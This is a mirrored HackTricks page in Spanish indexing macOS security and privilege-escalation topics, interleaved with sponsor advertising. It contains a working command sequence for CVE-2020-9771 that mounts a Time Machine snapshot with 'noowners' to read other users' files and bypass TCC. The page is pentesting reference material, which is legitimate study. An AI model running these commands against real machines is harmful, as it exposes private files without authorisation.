mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-10 04:08:51 +00:00
206 lines
11 KiB
Markdown
206 lines
11 KiB
Markdown
# Seguridad y Escalada de Privilegios en macOS
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
|
|
|
**Obtén recompensas sin demoras**\
|
|
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
|
|
|
**Obtén experiencia en pentesting web3**\
|
|
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
|
|
|
**Conviértete en la leyenda del hacker web3**\
|
|
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
|
|
|
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
|
|
|
## Conceptos básicos de MacOS
|
|
|
|
Si no estás familiarizado con macOS, debes comenzar aprendiendo los conceptos básicos de macOS:
|
|
|
|
* **Archivos y permisos especiales** de macOS:
|
|
|
|
{% content-ref url="macos-files-folders-and-binaries/" %}
|
|
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
|
|
{% endcontent-ref %}
|
|
|
|
* Usuarios comunes de macOS
|
|
|
|
{% content-ref url="macos-users.md" %}
|
|
[macos-users.md](macos-users.md)
|
|
{% endcontent-ref %}
|
|
|
|
* **AppleFS**
|
|
|
|
{% content-ref url="macos-applefs.md" %}
|
|
[macos-applefs.md](macos-applefs.md)
|
|
{% endcontent-ref %}
|
|
|
|
* La **arquitectura** del **kernel**
|
|
|
|
{% content-ref url="mac-os-architecture/" %}
|
|
[mac-os-architecture](mac-os-architecture/)
|
|
{% endcontent-ref %}
|
|
|
|
* Servicios y protocolos de red comunes de macOS
|
|
|
|
{% content-ref url="macos-protocols.md" %}
|
|
[macos-protocols.md](macos-protocols.md)
|
|
{% endcontent-ref %}
|
|
|
|
* **macOS de código abierto**: [https://opensource.apple.com/](https://opensource.apple.com/)
|
|
* Para descargar un `tar.gz`, cambia una URL como [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) a [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
|
|
|
### MacOS MDM
|
|
|
|
En las empresas, es muy probable que los sistemas **macOS** estén **gestionados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona**:
|
|
|
|
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
|
|
[macos-mdm](../macos-red-teaming/macos-mdm/)
|
|
{% endcontent-ref %}
|
|
|
|
### MacOS - Inspección, Depuración y Fuzzing
|
|
|
|
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
|
|
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
|
|
{% endcontent-ref %}
|
|
|
|
## Protecciones de Seguridad en MacOS
|
|
|
|
{% content-ref url="macos-security-protections/" %}
|
|
[macos-security-protections](macos-security-protections/)
|
|
{% endcontent-ref %}
|
|
|
|
## Superficie de Ataque
|
|
|
|
### Permisos de Archivos
|
|
|
|
Si un **proceso que se ejecuta como root escribe** un archivo que puede ser controlado por un usuario, el usuario podría aprovechar esto para **elevar privilegios**.\
|
|
Esto podría ocurrir en las siguientes situaciones:
|
|
|
|
* El archivo utilizado ya fue creado por un usuario (propiedad del usuario)
|
|
* El archivo utilizado es escribible por el usuario debido a un grupo
|
|
* El archivo utilizado está dentro de un directorio propiedad del usuario (el usuario podría crear el archivo)
|
|
* El archivo utilizado está dentro de un directorio propiedad de root pero el usuario tiene acceso de escritura sobre él debido a un grupo (el usuario podría crear el archivo)
|
|
|
|
Poder **crear un archivo** que va a ser **utilizado por root**, permite a un usuario aprovechar su contenido o incluso crear **enlaces simbólicos/hardlinks** para apuntarlo a otro lugar.
|
|
|
|
Para este tipo de vulnerabilidades, no olvides **verificar los instaladores `.pkg` vulnerables**:
|
|
|
|
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
|
|
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
|
|
{% endcontent-ref %}
|
|
### Abuso de privilegios y derechos mediante el abuso de procesos
|
|
|
|
Si un proceso puede **inyectar código en otro proceso con mejores privilegios o derechos** o contactarlo para realizar acciones con privilegios, podría escalar privilegios y evadir medidas defensivas como [Sandbox](macos-security-protections/macos-sandbox/) o [TCC](macos-security-protections/macos-tcc/).
|
|
|
|
{% content-ref url="macos-proces-abuse/" %}
|
|
[macos-proces-abuse](macos-proces-abuse/)
|
|
{% endcontent-ref %}
|
|
|
|
### Manipulación de extensiones de archivo y controladores de aplicaciones de esquema de URL
|
|
|
|
Las aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos.
|
|
|
|
{% content-ref url="macos-file-extension-apps.md" %}
|
|
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Escalada de privilegios en MacOS
|
|
|
|
### CVE-2020-9771 - Bypass de TCC y escalada de privilegios en mount\_apfs
|
|
|
|
**Cualquier usuario** (incluso los no privilegiados) puede crear y montar una instantánea de Time Machine y **acceder a TODOS los archivos** de esa instantánea.\
|
|
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Acceso completo al disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser otorgado por un administrador.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Create snapshot
|
|
tmutil localsnapshot
|
|
|
|
# List snapshots
|
|
tmutil listlocalsnapshots /
|
|
Snapshots for disk /:
|
|
com.apple.TimeMachine.2023-05-29-001751.local
|
|
|
|
# Generate folder to mount it
|
|
cd /tmp # I didn it from this folder
|
|
mkdir /tmp/snap
|
|
|
|
# Mount it, "noowners" will mount the folder so the current user can access everything
|
|
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
|
|
|
|
# Access it
|
|
ls /tmp/snap/Users/admin_user # This will work
|
|
```
|
|
{% endcode %}
|
|
|
|
Una explicación más detallada se puede encontrar en el [**informe original**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
|
|
|
|
### Información Sensible
|
|
|
|
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
|
|
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Linux Privesc
|
|
|
|
En primer lugar, tenga en cuenta que **la mayoría de los trucos sobre escalada de privilegios que afectan a Linux/Unix también afectarán a las máquinas MacOS**. Así que vea:
|
|
|
|
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
|
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
|
{% endcontent-ref %}
|
|
|
|
## Aplicaciones Defensivas de MacOS
|
|
|
|
## Referencias
|
|
|
|
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
|
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
|
* [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
|
|
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
|
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
|
|
|
**Obtenga recompensas sin demoras**\
|
|
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrá la recompensa después de que se verifique el error.
|
|
|
|
**Obtenga experiencia en pentesting web3**\
|
|
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domine la seguridad web3 en sus días de crecimiento.
|
|
|
|
**Conviértase en la leyenda del hacker web3**\
|
|
Gane puntos de reputación con cada error verificado y conquiste la cima de la clasificación semanal.
|
|
|
|
[**Regístrese en HackenProof**](https://hackenproof.com/register) comience a ganar con sus hacks!
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|